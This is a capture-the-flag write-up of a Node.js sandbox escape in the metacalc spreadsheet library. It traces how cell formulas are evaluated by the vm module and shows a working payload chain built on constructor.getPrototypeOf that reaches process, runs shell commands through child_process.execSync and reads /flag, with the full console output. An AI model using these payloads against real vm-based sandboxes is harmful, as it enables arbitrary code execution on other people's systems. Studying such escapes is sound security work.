Keywords
- find attack vector to escape the executable codes
- understanding of Sandbox Escaping the VM module in NodeJS
- understanding of make own constructor using ({}).constructor.getPrototypeOf()
Given info
- metacalc.zip was given
- It provide app.js, Dockerfile, sheet.patch
const { Sheet } = require('metacalc');
const readline = require('readline');
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();
rl.question('I will add 1 to your input?? ', input => {
sheet.cells["A1"] = 1;
sheet.cells["A2"] = input;
sheet.cells["A3"] = "=A1+A2";
console.log(sheet.values["A3"]);
process.exit(0);
});
- According to the author's comments, We can know that thisis NodeJS service, and target behavior is sandbox escaping.
//Dockerfile
FROM node:18
ENV NODE_ENV=production
RUN /usr/sbin/useradd --no-create-home -u 1337 user
COPY flag /
WORKDIR /home/user
RUN npm install --production metacalc
COPY app.js /home/user/
COPY sheet.patch /home/user/sheet.patch
RUN patch node_modules/metacalc/lib/sheet.js < sheet.patch
- Dockerfile patch the sheet.js file using sheet.patch
--- sheet.o.js 2022-08-11 17:32:27.803553441 -0700
+++ sheet.js 2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
+ if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
-const math = wrap(Math);
+
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;
- here we can see that the author say "Math has too much of an attack surface"
flow
- This chall was very difficult for me, because i could not figure out any attack idea during reading the given info
- We should find the attack vector, our input value will set at
sheets.cells["A2"]
according to the app.js
Try to escape the executable code
- using the Dockerfile, i tried to find the escape vulnerability
- Thus, i printed out the value and analyzed it
- The targets were
./node_modules/metacalc/lib/sheet.js
./node_modules/metavm/metavm.js
- We can see that using setCell to make some script at sheet.js
'use strict';
...
const setCell = (target, prop, value) => {
if (typeof value === 'string' && value[0] === '=') {
console.log("[] value : "+value);
const src = '() => ' + value.substring(1);
const options = { context: target.context };
console.log("[] prop : "+prop);
console.log("[] src : "+src);
console.log("[] options : "+options);
const script = metavm.createScript(prop, src, options);
console.log("[] script : "+JSON.stringify(script));
target.expressions.set(prop, script.exports);
} else {
target.data.set(prop, value);
}
return true;
};
...
- going to find creatScript() function
...
const createScript = (name, src, options) => new MetaScript(name, src, options);
...
- and going to find MetaScript() class again
...
class MetaScript {
constructor(name, src, options = {}) {
this.name = name;
this.dirname = options.dirname || process.cwd();
this.relative = options.relative || '.';
this.type = options.type || MODULE_TYPE.METARHIA;
this.access = options.access || {};
const common = this.type === MODULE_TYPE.COMMONJS;
const strict = useStrict(src);
const code = common ? wrapSource(src) : `{\n${src}\n}`;
const lineOffset = strict === '' ? 0 : -1;
const scriptOptions = { filename: name, ...options, lineOffset };
console.log("[] strict : "+strict);
console.log("[] code : "+code);
console.log("[] strict + code : "+strict+code);
console.log("[] scriptOptions : "+JSON.stringify(scriptOptions));
this.script = new vm.Script(strict + code, scriptOptions);
console.log("[] this.script : "+JSON.stringify(this.script));
this.context = options.context || createContext();
const runOptions = { ...RUN_OPTIONS, ...options };
console.log("[] runOptions : "+JSON.stringify(runOptions));
console.log("[] this.context : "+JSON.stringify(this.context));
const exports = this.script.runInContext(this.context, runOptions);
this.exports = common ? this.commonExports(exports) : exports;
}
...
- and this is the result of those console.log
root@24f371c679bd:/home/user
I will add 1 to your input?? 1
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
11
- We can see that strict + code is
'use strict';
{
() => A1+A2
}
- ths src is made by our input value
...
const src = '() => ' + value.substring(1);
...
- And
value[0] === '='
value[0] should be '='
- if you give only '=!test!' as a input, you can occur the errors
root@24f371c679bd:/home/user
I will add 1 to your input?? =!test!
[] value : =!test!
[] prop : A2
[] src : () => !test!
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => !test!
}
[] strict + code : 'use strict';
{
() => !test!
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
A2:2
() => !test!
^
SyntaxError: Unexpected token '!'
at new Script (node:vm:100:7)
at new MetaScript (/home/user/node_modules/metavm/metavm.js:82:19)
at Object.createScript (/home/user/node_modules/metavm/metavm.js:149:46)
at Object.setCell [as set] (/home/user/node_modules/metacalc/lib/sheet.js:43:27)
at /home/user/app.js:9:23
at [_onLine] [as _onLine] (node:internal/readline/interface:420:7)
at [_line] [as _line] (node:internal/readline/interface:892:18)
at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1270:22)
at ReadStream.onkeypress (node:internal/readline/interface:270:20)
at ReadStream.emit (node:events:513:28)
Node.js v18.13.0
- SyntaxError: Unexpected token '!' means that we can inject some malicious source code using it
- Then, i tried to execute something directly using
process.mainModule.require('child_process').execSync('touch /tmp/pwned');
but, failed
- This code will execute by
vm.Script()
thus, we can not using process, mainModule, etc. directly.
- Here we can know that we should do "Sandbox Escaping"
- This is the reason why the author told us
library using some custom sandboxing so tried it out
.
Sandbox Escaping the VM module in NodeJS
- I read the writeups but, i could understand well. Thus, I google about VM sandbox escaping
- Then, i could find some example about the escaping.
const vm = require('vm');
code = 'var x = this.constructor';
let context = {y : 1}
vm.runInNewContext(code,context);
console.log(context.x);
- So, i tried to using
this.constructor
. But, there was nothing
root@24f371c679bd:/home/user# node app.js
I will add 1 to your input?? =this.constructor
[] value : =this.constructor
[] prop : A2
[] src : () => this.constructor
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => this.constructor
}
[] strict + code : 'use strict';
{
() => this.constructor
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
undefined
NaN
- Here is the point, If we dont have usable contructor we can make like
({}).constructor.getPrototypeOf(Math)
example : this.constructor
payload : ({}).constructor.getPrototypeOf(Math).constructor
- Now we can do sandbox escape
example : this.constructor.constructor("return this")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
root@24f371c679bd:/home/user
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return this")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<ref *1> Object [global] {
global: [Circular *1],
queueMicrotask: [Function: queueMicrotask],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
structuredClone: [Function: structuredClone],
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
atob: [Function: atob],
btoa: [Function: btoa],
performance: Performance {
nodeTiming: PerformanceNodeTiming {
name: 'node',
entryType: 'node',
startTime: 0,
duration: 1792.7723640017211,
nodeStart: 1.8077990002930164,
v8Start: 3.740175001323223,
bootstrapComplete: 16.005752000957727,
environment: 8.826437000185251,
loopStart: 23.45829899981618,
loopExit: -1,
idleTime: 1757.363889
},
timeOrigin: 1674722820484.222
},
fetch: [AsyncFunction: fetch]
}
1[object global]
- We can use process now, and the exit() example also working
example : this.constructor.constructor("return process")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
root@24f371c679bd:/home/user
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
process {
version: 'v18.13.0',
versions: {
node: '18.13.0',
v8: '10.2.154.23-node.21',
uv: '1.44.2',
zlib: '1.2.13',
brotli: '1.0.9',
ares: '1.18.1',
modules: '108',
nghttp2: '1.51.0',
napi: '8',
llhttp: '6.0.10',
uvwasi: '0.0.13',
openssl: '3.0.7+quic',
cldr: '42.0',
icu: '72.1',
tz: '2022f',
unicode: '15.0',
ngtcp2: '0.8.1',
nghttp3: '0.7.0'
},
arch: 'x64',
platform: 'linux',
release: {
name: 'node',
lts: 'Hydrogen',
sourceUrl: 'https://nodejs.org/download/release/v18.13.0/node-v18.13.0.tar.gz',
headersUrl: 'https://nodejs.org/download/release/v18.13.0/node-v18.13.0-headers.tar.gz'
},
_rawDebug: [Function: _rawDebug],
moduleLoadList: [
'Internal Binding builtins',
'Internal Binding errors',
'Internal Binding util',
'NativeModule internal/errors',
'Internal Binding config',
'Internal Binding timers',
'Internal Binding async_wrap',
'Internal Binding constants',
'Internal Binding types',
'NativeModule internal/util',
'NativeModule internal/util/types',
'NativeModule internal/validators',
'NativeModule internal/promise_hooks',
'Internal Binding task_queue',
'Internal Binding symbols',
'NativeModule internal/async_hooks',
'NativeModule internal/linkedlist',
'NativeModule internal/priority_queue',
'NativeModule internal/assert',
'Internal Binding icu',
'NativeModule internal/util/inspect',
'NativeModule internal/util/debuglog',
'NativeModule internal/timers',
'NativeModule events',
'Internal Binding buffer',
'Internal Binding string_decoder',
'NativeModule internal/buffer',
'Internal Binding blob',
'NativeModule internal/encoding',
'Internal Binding messaging',
'NativeModule internal/worker/js_transferable',
'NativeModule internal/constants',
'NativeModule internal/blob',
'NativeModule internal/file',
'NativeModule buffer',
'NativeModule internal/modules/esm/handle_process_exit',
'Internal Binding process_methods',
'NativeModule internal/process/per_thread',
'Internal Binding credentials',
'NativeModule internal/process/promises',
'NativeModule internal/fixed_queue',
'NativeModule async_hooks',
'NativeModule internal/process/task_queues',
'Internal Binding worker',
'NativeModule internal/util/parse_args/utils',
'NativeModule internal/util/parse_args/parse_args',
'NativeModule internal/mime',
'NativeModule util',
'Internal Binding performance',
'NativeModule internal/perf/utils',
'NativeModule internal/event_target',
'NativeModule timers',
'NativeModule internal/abort_controller',
'NativeModule internal/streams/utils',
'NativeModule internal/streams/end-of-stream',
'NativeModule internal/streams/destroy',
'NativeModule internal/streams/legacy',
'NativeModule internal/streams/add-abort-signal',
'NativeModule internal/streams/buffer_list',
'NativeModule internal/streams/state',
'NativeModule string_decoder',
'NativeModule internal/streams/from',
'NativeModule internal/streams/readable',
'NativeModule internal/streams/writable',
'NativeModule internal/streams/duplex',
'NativeModule internal/streams/pipeline',
'NativeModule internal/streams/compose',
'NativeModule internal/streams/operators',
'NativeModule stream/promises',
'NativeModule internal/streams/transform',
'NativeModule internal/streams/passthrough',
'NativeModule stream',
'NativeModule internal/worker/io',
'NativeModule internal/structured_clone',
'Internal Binding trace_events',
'NativeModule path',
'NativeModule internal/process/execution',
'NativeModule internal/process/warning',
'Internal Binding fs',
'NativeModule internal/querystring',
'NativeModule querystring',
'Internal Binding url',
'NativeModule internal/url',
'NativeModule internal/fs/utils',
'Internal Binding fs_dir',
'NativeModule internal/fs/dir',
'Internal Binding fs_event_wrap',
'Internal Binding uv',
'NativeModule internal/fs/watchers',
'NativeModule internal/fs/read_file_context',
'NativeModule fs',
'Internal Binding serdes',
'Internal Binding mksnapshot',
'NativeModule internal/v8/startup_snapshot',
'Internal Binding profiler',
'Internal Binding heap_utils',
'Internal Binding stream_wrap',
'NativeModule internal/stream_base_commons',
'NativeModule internal/heap_utils',
'Internal Binding options',
... 100 more items
],
binding: [Function: binding],
_linkedBinding: [Function: _linkedBinding],
_events: [Object: null prototype] {
newListener: [Function: startListeningIfSignal],
removeListener: [Function: stopListeningIfSignal],
warning: [Function: onWarning],
SIGWINCH: [Function: refreshStdoutOnSigWinch]
},
_eventsCount: 4,
_maxListeners: undefined,
domain: null,
_exiting: [Getter/Setter],
config: [Getter/Setter],
dlopen: [Function: dlopen],
uptime: [Function: uptime],
_getActiveRequests: [Function: _getActiveRequests],
_getActiveHandles: [Function: _getActiveHandles],
getActiveResourcesInfo: [Function (anonymous)],
reallyExit: [Function: reallyExit],
_kill: [Function: _kill],
cpuUsage: [Function: cpuUsage],
resourceUsage: [Function: resourceUsage],
memoryUsage: [Function: memoryUsage] { rss: [Function: rss] },
kill: [Function: kill],
exit: [Function: exit],
hrtime: [Function: hrtime] { bigint: [Function: hrtimeBigInt] },
openStdin: [Function (anonymous)],
getuid: [Function: getuid],
geteuid: [Function: geteuid],
getgid: [Function: getgid],
getegid: [Function: getegid],
getgroups: [Function: getgroups],
allowedNodeEnvironmentFlags: [Getter/Setter],
assert: [Function: deprecated],
features: {
inspector: true,
debug: false,
uv: true,
ipv6: true,
tls_alpn: true,
tls_sni: true,
tls_ocsp: true,
tls: true,
cached_builtins: [Getter]
},
_fatalException: [Function (anonymous)],
setUncaughtExceptionCaptureCallback: [Function: setUncaughtExceptionCaptureCallback],
hasUncaughtExceptionCaptureCallback: [Function: hasUncaughtExceptionCaptureCallback],
emitWarning: [Function: emitWarning],
nextTick: [Function: nextTick],
_tickCallback: [Function: runNextTicks],
_debugProcess: [Function: _debugProcess],
_debugEnd: [Function: _debugEnd],
_startProfilerIdleNotifier: [Function (anonymous)],
_stopProfilerIdleNotifier: [Function (anonymous)],
stdout: [Getter],
stdin: [Getter],
stderr: [Getter],
abort: [Function: abort],
umask: [Function: wrappedUmask],
chdir: [Function: wrappedChdir],
cwd: [Function: wrappedCwd],
initgroups: [Function: initgroups],
setgroups: [Function: setgroups],
setegid: [Function (anonymous)],
seteuid: [Function (anonymous)],
setgid: [Function (anonymous)],
setuid: [Function (anonymous)],
env: {
HOSTNAME: '24f371c679bd',
YARN_VERSION: '1.22.19',
PWD: '/home/user',
NODE_ENV: 'production',
HOME: '/root',
TERM: 'xterm',
SHLVL: '1',
PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
NODE_VERSION: '18.13.0',
_: '/usr/local/bin/node'
},
title: 'node',
argv: [ '/usr/local/bin/node', '/home/user/app.js' ],
execArgv: [],
pid: 3318,
ppid: 1,
execPath: '/usr/local/bin/node',
debugPort: 9229,
argv0: 'node',
exitCode: undefined,
_preload_modules: [],
report: [Getter],
setSourceMapsEnabled: [Function: setSourceMapsEnabled],
mainModule: Module {
id: '.',
path: '/home/user',
exports: {},
filename: '/home/user/app.js',
loaded: true,
children: [ [Module] ],
paths: [
'/home/user/node_modules',
'/home/node_modules',
'/node_modules'
]
},
[Symbol(kCapture)]: false
}
1[object process]
Get FLAG
- Try the Command Injection example
example : this.constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
root@24f371c679bd:/home/user
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('id')")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<Buffer 75 69 64 3d 30 28 72 6f 6f 74 29 20 67 69 64 3d 30 28 72 6f 6f 74 29 20 67 72 6f 75 70 73 3d 30 28 72 6f 6f 74 29 0a>
1uid=0(root) gid=0(root) groups=0(root)
- Then, we can get the FLAG
example : this.constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
payload : ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
root@24f371c679bd:/home/user
I will add 1 to your input?? =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] value : =({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] prop : A2
[] src : () => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
}
[] strict + code : 'use strict';
{
() => ({}).constructor.getPrototypeOf(Math).constructor.constructor("return process.mainModule.require('child_process').execSync('cat /flag')")()
}
[] scriptOptions : {"filename":"A2","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A2","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
[] value : =A1+A2
[] prop : A3
[] src : () => A1+A2
[] options : [object Object]
[] strict : 'use strict';
[] code : {
() => A1+A2
}
[] strict + code : 'use strict';
{
() => A1+A2
}
[] scriptOptions : {"filename":"A3","context":{},"lineOffset":-1}
[] this.script : {}
[] runOptions : {"timeout":1000,"context":{}}
[] this.context : {}
[] script : {"name":"A3","dirname":"/home/user","relative":".","type":1,"access":{},"script":{},"context":{}}
<Buffer 46 4c 41 47 7b 46 41 4b 45 46 41 4b 45 7d>
1FLAG{FAKEFAKE}